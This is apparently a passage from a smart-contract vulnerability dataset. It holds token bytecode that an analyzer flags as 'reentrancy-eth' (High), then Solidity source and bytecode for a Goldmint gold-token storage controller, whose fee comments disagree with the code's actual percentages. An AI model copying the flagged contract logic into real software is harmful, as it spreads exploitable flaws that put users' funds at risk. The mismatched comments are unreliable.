602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610625565b6001600160a01b038216610c505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610625565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610625565b6001600160a01b038216610d775760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610625565b60008111610dd95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610625565b6000546001600160a01b03848116911614801590610e0557506000546001600160a01b03838116911614155b156110e657601554600160a01b900460ff16610e9e576000546001600160a01b03848116911614610e9e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610625565b601654811115610ef05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610625565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3257506001600160a01b03821660009081526010602052604090205460ff16155b610f8a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610625565b6015546001600160a01b0383811691161461100f5760175481610fac846107f8565b610fb69190611ca4565b1061100f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610625565b600061101a306107f8565b6018546016549192508210159082106110335760165491505b80801561104a5750601554600160a81b900460ff16155b801561106457506015546001600160a01b03868116911614155b80156110795750601554600160b01b900460ff165b801561109e57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c357506001600160a01b03841660009081526005602052604090205460ff16155b156110e3576110d1826112e5565b4780156110e1576110e147611227565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112857506001600160a01b03831660009081526005602052604090205460ff165b8061115a57506015546001600160a01b0385811691161480159061115a57506015546001600160a01b03848116911614155b15611167575060006111e1565b6015546001600160a01b03858116911614801561119257506014546001600160a01b03848116911614155b156111a457600854600c55600954600d555b6015546001600160a01b0384811691161480156111cf57506014546001600160a01b03858116911614155b156111e157600a54600c55600b54600d555b610a6e8484848461145f565b600081848411156112115760405162461bcd60e51b81526004016106259190611a18565b50600061121e8486611cbc565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610696573d6000803e3d6000fd5b60006006548211156112c85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610625565b60006112d261148d565b90506112de83826114b0565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132d5761132d611c5f565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113aa9190611cd3565b816001815181106113bd576113bd611c5f565b6001600160a01b0392831660209182029290920101526014546113e39130911684610b8d565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061141c908590600090869030904290600401611cf0565b600060405180830381600087803b15801561143657600080fd5b505af115801561144a573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061146c5761146c6114f2565b611477848484611520565b80610a6e57610a6e600e54600c55600f54600d55565b600080600061149a611617565b90925090506114a982826114b0565b9250505090565b60006112de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611657565b600c541580156115025750600d54155b1561150957565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153287611685565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156490876116e2565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115939086611724565b6001600160a01b0389166000908152600260205260409020556115b581611783565b6115bf84836117cd565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160491815260200190565b60405180910390a3505050505050505050565b6006546000908190678ac7230489e8000061163282826114b0565b82101561164e57505060065492678ac7230489e8000092509050565b90939092509050565b600081836116785760405162461bcd60e51b81526004016106259190611a18565b50600061121e8486611d61565b60008060008060008060008060006116a28a600c54600d546117f1565b92509250925060006116b261148d565b905060008060006116c58e878787611846565b919e509c509a509598509396509194505050505091939550919395565b60006112de83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ed565b6000806117318385611ca4565b9050838110156112de5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610625565b600061178d61148d565b9050600061179b8383611896565b306000908152600260205260409020549091506117b89082611724565b30600090815260026020526040902055505050565b6006546117da90836116e2565b6006556007546117ea9082611724565b6007555050565b600080808061180b60646118058989611896565b906114b0565b9050600061181e60646118058a89611896565b90506000611836826118308b866116e2565b906116e2565b9992985090965090945050505050565b60008080806118558886611896565b905060006118638887611896565b905060006118718888611896565b905060006118838261183086866116e2565b939b939a50919850919650505050505050565b6000826000036118a8575060006106ab565b60006118b48385611d83565b9050826118c18583611d61565b146112de5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610625565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f557600080fd5b803561194e8161192e565b919050565b6000602080838503121561196657600080fd5b823567ffffffffffffffff8082111561197e57600080fd5b818501915085601f83011261199257600080fd5b8135818111156119a4576119a4611918565b8060051b604051601f19603f830116810181811085821117156119c9576119c9611918565b6040529182528482019250838101850191888311156119e757600080fd5b938501935b82851015611a0c576119fd85611943565b845293850193928501926119ec565b98975050505050505050565b600060208083528351808285015260005b81811015611a4557858101830151858201604001528201611a29565b81811115611a57576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8057600080fd5b8235611a8b8161192e565b946020939093013593505050565b600080600060608486031215611aae57600080fd5b8335611ab98161192e565b92506020840135611ac98161192e565b929592945050506040919091013590565b600060208284031215611aec57600080fd5b81356112de8161192e565b8035801515811461194e57600080fd5b600060208284031215611b1957600080fd5b6112de82611af7565b600060208284031215611b3457600080fd5b5035919050565b60008060008060808587031215611b5157600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8257600080fd5b833567ffffffffffffffff80821115611b9a57600080fd5b818601915086601f830112611bae57600080fd5b813581811115611bbd57600080fd5b8760208260051b8501011115611bd257600080fd5b602092830195509350611be89186019050611af7565b90509250925092565b60008060408385031215611c0457600080fd5b8235611c0f8161192e565b91506020830135611c1f8161192e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611c9d57611c9d611c75565b5060010190565b60008219821115611cb757611cb7611c75565b500190565b600082821015611cce57611cce611c75565b500390565b600060208284031215611ce557600080fd5b81516112de8161192e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d405784516001600160a01b031683529383019391830191600101611d1b565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d7e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d9d57611d9d611c75565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208d3b387c12663b3f522ed915b97e2b8e6cc47c2bcb2c5a0e34b15a6d35d5fe9664736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 893 |
0x9b1a4fe6fc8ccd291b65213062f53a1fff903bbd | pragma solidity ^0.4.19;
contract IGold {
function balanceOf(address _owner) constant returns (uint256);
function issueTokens(address _who, uint _tokens);
function burnTokens(address _who, uint _tokens);
}
// StdToken inheritance is commented, because no 'totalSupply' needed
contract IMNTP { /*is StdToken */
function balanceOf(address _owner) constant returns (uint256);
// Additional methods that MNTP contract provides
function lockTransfer(bool _lock);
function issueTokens(address _who, uint _tokens);
function burnTokens(address _who, uint _tokens);
}
contract SafeMath {
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
}
contract CreatorEnabled {
address public creator = 0x0;
modifier onlyCreator() { require(msg.sender == creator); _; }
function changeCreator(address _to) public onlyCreator {
creator = _to;
}
}
contract StringMover {
function stringToBytes32(string s) constant returns(bytes32){
bytes32 out;
assembly {
out := mload(add(s, 32))
}
return out;
}
function stringToBytes64(string s) constant returns(bytes32,bytes32){
bytes32 out;
bytes32 out2;
assembly {
out := mload(add(s, 32))
out2 := mload(add(s, 64))
}
return (out,out2);
}
function bytes32ToString(bytes32 x) constant returns (string) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
function bytes64ToString(bytes32 x, bytes32 y) constant returns (string) {
bytes memory bytesString = new bytes(64);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
for (j = 0; j < 32; j++) {
char = byte(bytes32(uint(y) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
}
contract Storage is SafeMath, StringMover {
function Storage() public {
controllerAddress = msg.sender;
}
address public controllerAddress = 0x0;
modifier onlyController() { require(msg.sender==controllerAddress); _; }
function setControllerAddress(address _newController) onlyController {
controllerAddress = _newController;
}
address public hotWalletAddress = 0x0;
function setHotWalletAddress(address _address) onlyController {
hotWalletAddress = _address;
}
// Fields - 1
mapping(uint => string) docs;
uint public docCount = 0;
// Fields - 2
mapping(string => mapping(uint => int)) fiatTxs;
mapping(string => uint) fiatBalancesCents;
mapping(string => uint) fiatTxCounts;
uint fiatTxTotal = 0;
// Fields - 3
mapping(string => mapping(uint => int)) goldTxs;
mapping(string => uint) goldHotBalances;
mapping(string => uint) goldTxCounts;
uint goldTxTotal = 0;
// Fields - 4
struct Request {
address sender;
string userId;
string requestHash;
bool buyRequest; // otherwise - sell
// 0 - init
// 1 - processed
// 2 - cancelled
uint8 state;
}
mapping (uint=>Request) requests;
uint public requestsCount = 0;
///////
function addDoc(string _ipfsDocLink) public onlyController returns(uint) {
docs[docCount] = _ipfsDocLink;
uint out = docCount;
docCount++;
return out;
}
function getDocCount() public constant returns (uint) {
return docCount;
}
function getDocAsBytes64(uint _index) public constant returns (bytes32,bytes32) {
require(_index < docCount);
return stringToBytes64(docs[_index]);
}
function addFiatTransaction(string _userId, int _amountCents) public onlyController returns(uint) {
require(0 != _amountCents);
uint c = fiatTxCounts[_userId];
fiatTxs[_userId][c] = _amountCents;
if (_amountCents > 0) {
fiatBalancesCents[_userId] = safeAdd(fiatBalancesCents[_userId], uint(_amountCents));
} else {
fiatBalancesCents[_userId] = safeSub(fiatBalancesCents[_userId], uint(-_amountCents));
}
fiatTxCounts[_userId] = safeAdd(fiatTxCounts[_userId], 1);
fiatTxTotal++;
return c;
}
function getFiatTransactionsCount(string _userId) public constant returns (uint) {
return fiatTxCounts[_userId];
}
function getAllFiatTransactionsCount() public constant returns (uint) {
return fiatTxTotal;
}
function getFiatTransaction(string _userId, uint _index) public constant returns(int) {
require(_index < fiatTxCounts[_userId]);
return fiatTxs[_userId][_index];
}
function getUserFiatBalance(string _userId) public constant returns(uint) {
return fiatBalancesCents[_userId];
}
function addGoldTransaction(string _userId, int _amount) public onlyController returns(uint) {
require(0 != _amount);
uint c = goldTxCounts[_userId];
goldTxs[_userId][c] = _amount;
if (_amount > 0) {
goldHotBalances[_userId] = safeAdd(goldHotBalances[_userId], uint(_amount));
} else {
goldHotBalances[_userId] = safeSub(goldHotBalances[_userId], uint(-_amount));
}
goldTxCounts[_userId] = safeAdd(goldTxCounts[_userId], 1);
goldTxTotal++;
return c;
}
function getGoldTransactionsCount(string _userId) public constant returns (uint) {
return goldTxCounts[_userId];
}
function getAllGoldTransactionsCount() public constant returns (uint) {
return goldTxTotal;
}
function getGoldTransaction(string _userId, uint _index) public constant returns(int) {
require(_index < goldTxCounts[_userId]);
return goldTxs[_userId][_index];
}
function getUserHotGoldBalance(string _userId) public constant returns(uint) {
return goldHotBalances[_userId];
}
function addBuyTokensRequest(address _who, string _userId, string _requestHash) public onlyController returns(uint) {
Request memory r;
r.sender = _who;
r.userId = _userId;
r.requestHash = _requestHash;
r.buyRequest = true;
r.state = 0;
requests[requestsCount] = r;
uint out = requestsCount;
requestsCount++;
return out;
}
function addSellTokensRequest(address _who, string _userId, string _requestHash) onlyController returns(uint) {
Request memory r;
r.sender = _who;
r.userId = _userId;
r.requestHash = _requestHash;
r.buyRequest = false;
r.state = 0;
requests[requestsCount] = r;
uint out = requestsCount;
requestsCount++;
return out;
}
function getRequestsCount() public constant returns(uint) {
return requestsCount;
}
function getRequest(uint _index) public constant returns(
address a,
bytes32 userId,
bytes32 hashA, bytes32 hashB,
bool buy, uint8 state)
{
require(_index < requestsCount);
Request memory r = requests[_index];
bytes32 userBytes = stringToBytes32(r.userId);
var (out1, out2) = stringToBytes64(r.requestHash);
return (r.sender, userBytes, out1, out2, r.buyRequest, r.state);
}
function cancelRequest(uint _index) onlyController public {
require(_index < requestsCount);
require(0==requests[_index].state);
requests[_index].state = 2;
}
function setRequestProcessed(uint _index) onlyController public {
requests[_index].state = 1;
}
}
contract GoldFiatFee is CreatorEnabled, StringMover {
string gmUserId = "";
// Functions:
function GoldFiatFee(string _gmUserId) {
creator = msg.sender;
gmUserId = _gmUserId;
}
function getGoldmintFeeAccount() public constant returns(bytes32) {
bytes32 userBytes = stringToBytes32(gmUserId);
return userBytes;
}
function setGoldmintFeeAccount(string _gmUserId) public onlyCreator {
gmUserId = _gmUserId;
}
function calculateBuyGoldFee(uint _mntpBalance, uint _goldValue) public constant returns(uint) {
return 0;
}
function calculateSellGoldFee(uint _mntpBalance, uint _goldValue) public constant returns(uint) {
// If the sender holds 0 MNTP, then the transaction fee is 3% fiat,
// If the sender holds at least 10 MNTP, then the transaction fee is 2% fiat,
// If the sender holds at least 1000 MNTP, then the transaction fee is 1.5% fiat,
// If the sender holds at least 10000 MNTP, then the transaction fee is 1% fiat,
if (_mntpBalance >= (10000 * 1 ether)) {
return (75 * _goldValue / 10000);
}
if (_mntpBalance >= (1000 * 1 ether)) {
return (15 * _goldValue / 1000);
}
if (_mntpBalance >= (10 * 1 ether)) {
return (25 * _goldValue / 1000);
}
// 3%
return (3 * _goldValue / 100);
}
}
contract IGoldFiatFee {
function getGoldmintFeeAccount()public constant returns(bytes32);
function calculateBuyGoldFee(uint _mntpBalance, uint _goldValue) public constant returns(uint);
function calculateSellGoldFee(uint _mntpBalance, uint _goldValue) public constant returns(uint);
}
contract StorageController is SafeMath, CreatorEnabled, StringMover {
Storage public stor;
IMNTP public mntpToken;
IGold public goldToken;
IGoldFiatFee public fiatFee;
address public ethDepositAddress = 0x0;
address public managerAddress = 0x0;
event NewTokenBuyRequest(address indexed _from, string indexed _userId);
event NewTokenSellRequest(address indexed _from, string indexed _userId);
event RequestCancelled(uint indexed _reqId);
event RequestProcessed(uint indexed _reqId);
event EthDeposited(uint indexed _requestId, address indexed _address, uint _ethValue);
modifier onlyManagerOrCreator() { require(msg.sender == managerAddress || msg.sender == creator); _; }
function StorageController(address _mntpContractAddress, address _goldContractAddress, address _storageAddress, address _fiatFeeContract) {
creator = msg.sender;
if (0 != _storageAddress) {
// use existing storage
stor = Storage(_storageAddress);
} else {
stor = new Storage();
}
require(0x0!=_mntpContractAddress);
require(0x0!=_goldContractAddress);
require(0x0!=_fiatFeeContract);
mntpToken = IMNTP(_mntpContractAddress);
goldToken = IGold(_goldContractAddress);
fiatFee = IGoldFiatFee(_fiatFeeContract);
}
function setEthDepositAddress(address _address) public onlyCreator {
ethDepositAddress = _address;
}
function setManagerAddress(address _address) public onlyCreator {
managerAddress = _address;
}
function getEthDepositAddress() public constant returns (address) {
return ethDepositAddress;
}
// Only old controller can call setControllerAddress
function changeController(address _newController) public onlyCreator {
stor.setControllerAddress(_newController);
}
function setHotWalletAddress(address _hotWalletAddress) public onlyCreator {
stor.setHotWalletAddress(_hotWalletAddress);
}
function getHotWalletAddress() public constant returns (address) {
return stor.hotWalletAddress();
}
function changeFiatFeeContract(address _newFiatFee) public onlyCreator {
fiatFee = IGoldFiatFee(_newFiatFee);
}
function addDoc(string _ipfsDocLink) public onlyCreator returns(uint) {
return stor.addDoc(_ipfsDocLink);
}
function getDocCount() public constant returns (uint) {
return stor.docCount();
}
function getDoc(uint _index) public constant returns (string) {
var (x, y) = stor.getDocAsBytes64(_index);
return bytes64ToString(x,y);
}
// _amountCents can be negative
// returns index in user array
function addFiatTransaction(string _userId, int _amountCents) public onlyManagerOrCreator returns(uint) {
return stor.addFiatTransaction(_userId, _amountCents);
}
function getFiatTransactionsCount(string _userId) public constant returns (uint) {
return stor.getFiatTransactionsCount(_userId);
}
function getAllFiatTransactionsCount() public constant returns (uint) {
return stor.getAllFiatTransactionsCount();
}
function getFiatTransaction(string _userId, uint _index) public constant returns(int) {
return stor.getFiatTransaction(_userId, _index);
}
function getUserFiatBalance(string _userId) public constant returns(uint) {
return stor.getUserFiatBalance(_userId);
}
function addGoldTransaction(string _userId, int _amount) public onlyManagerOrCreator returns(uint) {
return stor.addGoldTransaction(_userId, _amount);
}
function getGoldTransactionsCount(string _userId) public constant returns (uint) {
return stor.getGoldTransactionsCount(_userId);
}
function getAllGoldTransactionsCount() public constant returns (uint) {
return stor.getAllGoldTransactionsCount();
}
function getGoldTransaction(string _userId, uint _index) public constant returns(int) {
require(keccak256(_userId) != keccak256(""));
return stor.getGoldTransaction(_userId, _index);
}
function getUserHotGoldBalance(string _userId) public constant returns(uint) {
require(keccak256(_userId) != keccak256(""));
return stor.getUserHotGoldBalance(_userId);
}
function addBuyTokensRequest(string _userId, string _requestHash) public returns(uint) {
require(keccak256(_userId) != keccak256(""));
NewTokenBuyRequest(msg.sender, _userId);
return stor.addBuyTokensRequest(msg.sender, _userId, _requestHash);
}
function addSellTokensRequest(string _userId, string _requestHash) public returns(uint) {
require(keccak256(_userId) != keccak256(""));
NewTokenSellRequest(msg.sender, _userId);
return stor.addSellTokensRequest(msg.sender, _userId, _requestHash);
}
function getRequestsCount() public constant returns(uint) {
return stor.getRequestsCount();
}
function getRequest(uint _index) public constant returns(address, string, string, bool, uint8) {
var (sender, userIdBytes, hashA, hashB, buy, state) = stor.getRequest(_index);
string memory userId = bytes32ToString(userIdBytes);
string memory hash = bytes64ToString(hashA, hashB);
return (sender, userId, hash, buy, state);
}
function cancelRequest(uint _index) onlyManagerOrCreator public {
RequestCancelled(_index);
stor.cancelRequest(_index);
}
function processRequest(uint _index, uint _amountCents, uint _centsPerGold) onlyManagerOrCreator public {
require(_index < getRequestsCount());
var (sender, userId, hash, isBuy, state) = getRequest(_index);
require(0 == state);
if (isBuy) {
processBuyRequest(userId, sender, _amountCents, _centsPerGold);
} else {
processSellRequest(userId, sender, _amountCents, _centsPerGold);
}
// 3 - update state
stor.setRequestProcessed(_index);
// 4 - send event
RequestProcessed(_index);
}
function processBuyRequest(string _userId, address _userAddress, uint _amountCents, uint _centsPerGold) internal {
require(keccak256(_userId) != keccak256(""));
uint userFiatBalance = getUserFiatBalance(_userId);
require(userFiatBalance > 0);
if (_amountCents > userFiatBalance) {
_amountCents = userFiatBalance;
}
uint userMntpBalance = mntpToken.balanceOf(_userAddress);
uint fee = fiatFee.calculateBuyGoldFee(userMntpBalance, _amountCents);
require(_amountCents > fee);
// 1 - issue tokens minus fee
uint amountMinusFee = _amountCents;
if (fee > 0) {
amountMinusFee = safeSub(_amountCents, fee);
}
require(amountMinusFee > 0);
uint tokens = (uint(amountMinusFee) * 1 ether) / _centsPerGold;
issueGoldTokens(_userAddress, tokens);
// request from hot wallet
if (isHotWallet(_userAddress)) {
addGoldTransaction(_userId, int(tokens));
}
// 2 - add fiat tx
// negative for buy (total amount including fee!)
addFiatTransaction(_userId, - int(_amountCents));
// 3 - send fee to Goldmint
// positive for sell
if (fee > 0) {
string memory gmAccount = bytes32ToString(fiatFee.getGoldmintFeeAccount());
addFiatTransaction(gmAccount, int(fee));
}
}
function processSellRequest(string _userId, address _userAddress, uint _amountCents, uint _centsPerGold) internal {
require(keccak256(_userId) != keccak256(""));
uint tokens = (uint(_amountCents) * 1 ether) / _centsPerGold;
uint tokenBalance = goldToken.balanceOf(_userAddress);
if (isHotWallet(_userAddress)) {
tokenBalance = getUserHotGoldBalance(_userId);
}
if (tokenBalance < tokens) {
tokens = tokenBalance;
_amountCents = uint((tokens * _centsPerGold) / 1 ether);
}
burnGoldTokens(_userAddress, tokens);
// request from hot wallet
if (isHotWallet(_userAddress)) {
addGoldTransaction(_userId, - int(tokens));
}
// 2 - add fiat tx
uint userMntpBalance = mntpToken.balanceOf(_userAddress);
uint fee = fiatFee.calculateSellGoldFee(userMntpBalance, _amountCents);
require(_amountCents > fee);
uint amountMinusFee = _amountCents;
if (fee > 0) {
amountMinusFee = safeSub(_amountCents, fee);
}
require(amountMinusFee > 0);
// positive for sell
addFiatTransaction(_userId, int(amountMinusFee));
// 3 - send fee to Goldmint
if (fee > 0) {
string memory gmAccount = bytes32ToString(fiatFee.getGoldmintFeeAccount());
addFiatTransaction(gmAccount, int(fee));
}
}
//////// INTERNAL REQUESTS FROM HOT WALLET
function processInternalRequest(string _userId, bool _isBuy, uint _amountCents, uint _centsPerGold) onlyManagerOrCreator public {
if (_isBuy) {
processBuyRequest(_userId, getHotWalletAddress(), _amountCents, _centsPerGold);
} else {
processSellRequest(_userId, getHotWalletAddress(), _amountCents, _centsPerGold);
}
}
function transferGoldFromHotWallet(address _to, uint _value, string _userId) onlyManagerOrCreator public {
require(keccak256(_userId) != keccak256(""));
uint balance = getUserHotGoldBalance(_userId);
require(balance >= _value);
goldToken.burnTokens(getHotWalletAddress(), _value);
goldToken.issueTokens(_to, _value);
addGoldTransaction(_userId, -int(_value));
}
////////
function issueGoldTokens(address _userAddress, uint _tokenAmount) internal {
require(0!=_tokenAmount);
goldToken.issueTokens(_userAddress, _tokenAmount);
}
function burnGoldTokens(address _userAddress, uint _tokenAmount) internal {
require(0!=_tokenAmount);
goldToken.burnTokens(_userAddress, _tokenAmount);
}
function isHotWallet(address _address) internal returns(bool) {
return _address == getHotWalletAddress();
}
///////
function depositEth(uint _requestId) public payable {
require(ethDepositAddress != 0x0);
//min deposit is 0.01 ETH
require(msg.value >= 0.01 * 1 ether);
ethDepositAddress.transfer(msg.value);
EthDeposited(_requestId, msg.sender, msg.value);
}
// do not allow to send money to this contract...
function() external payable {
revert();
}
} | 0x606060405260043610610175576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306ba29871461017a5780631332143c1461024d5780631453d756146102be5780631ad9f1901461036b57806320bacfbd146103dc57806323b493fe1461044d57806327b9c257146104be5780633015394c146104e15780633410452a146105045780634b24ea471461052d5780634c4dc6e0146105825780634e3c50a0146105ab5780635dd284e31461067e57806363704e93146106a75780639201de55146106d05780639aaa5750146107705780639e92dfd8146107ea578063a08c09081461085b578063afa60487146108d5578063c58343ef14610923578063cfb51928146109cb578063d331aeb314610a44578063e3d6ce2b14610a6d578063eb36f8e814610ae7578063ebe09a9314610b6f578063f3d3d44814610be9578063f6b55a9314610c22578063fbfa4b7f14610c77578063fc1c218014610ca0575b600080fd5b341561018557600080fd5b610237600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610cd9565b6040518082815260200191505060405180910390f35b341561025857600080fd5b6102a8600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610eac565b6040518082815260200191505060405180910390f35b34156102c957600080fd5b6102f060048080356000191690602001909190803560001916906020019091905050610f21565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610330578082015181840152602081019050610315565b50505050905090810190601f16801561035d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561037657600080fd5b6103c6600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506111d1565b6040518082815260200191505060405180910390f35b34156103e757600080fd5b610437600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611246565b6040518082815260200191505060405180910390f35b341561045857600080fd5b6104a8600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506112ee565b6040518082815260200191505060405180910390f35b34156104c957600080fd5b6104df6004808035906020019091905050611363565b005b34156104ec57600080fd5b61050260048080359060200190919050506113f1565b005b341561050f57600080fd5b6105176114c4565b6040518082815260200191505060405180910390f35b341561053857600080fd5b6105406114ce565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561058d57600080fd5b6105956114f3565b6040518082815260200191505060405180910390f35b34156105b657600080fd5b610668600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506114f9565b6040518082815260200191505060405180910390f35b341561068957600080fd5b6106916116cc565b6040518082815260200191505060405180910390f35b34156106b257600080fd5b6106ba6116d6565b6040518082815260200191505060405180910390f35b34156106db57600080fd5b6106f56004808035600019169060200190919050506116e0565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561073557808201518184015260208101905061071a565b50505050905090810190601f1680156107625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561077b57600080fd5b6107d4600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919080359060200190919050506118cd565b6040518082815260200191505060405180910390f35b34156107f557600080fd5b610845600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611d05565b6040518082815260200191505060405180910390f35b341561086657600080fd5b6108bf600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091908035906020019091905050611d7a565b6040518082815260200191505060405180910390f35b34156108e057600080fd5b6108f66004808035906020019091905050611e7a565b60405180836000191660001916815260200182600019166000191681526020019250505060405180910390f35b341561092e57600080fd5b6109446004808035906020019091905050611f4a565b604051808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001866000191660001916815260200185600019166000191681526020018460001916600019168152602001831515151581526020018260ff1660ff168152602001965050505050505060405180910390f35b34156109d657600080fd5b610a26600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506121ae565b60405180826000191660001916815260200191505060405180910390f35b3415610a4f57600080fd5b610a576121c1565b6040518082815260200191505060405180910390f35b3415610a7857600080fd5b610ad1600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919080359060200190919050506121cb565b6040518082815260200191505060405180910390f35b3415610af257600080fd5b610b42600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612603565b60405180836000191660001916815260200182600019166000191681526020019250505060405180910390f35b3415610b7a57600080fd5b610bd3600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091908035906020019091905050612624565b6040518082815260200191505060405180910390f35b3415610bf457600080fd5b610c20600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612724565b005b3415610c2d57600080fd5b610c356127c2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610c8257600080fd5b610c8a6127e8565b6040518082815260200191505060405180910390f35b3415610cab57600080fd5b610cd7600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506127ee565b005b6000610ce36128d0565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4057600080fd5b85826000019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505084826020018190525083826040018190525060008260600190151590811515815250506000826080019060ff16908160ff168152505081600c6000600d54815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001019080519060200190610e2792919061292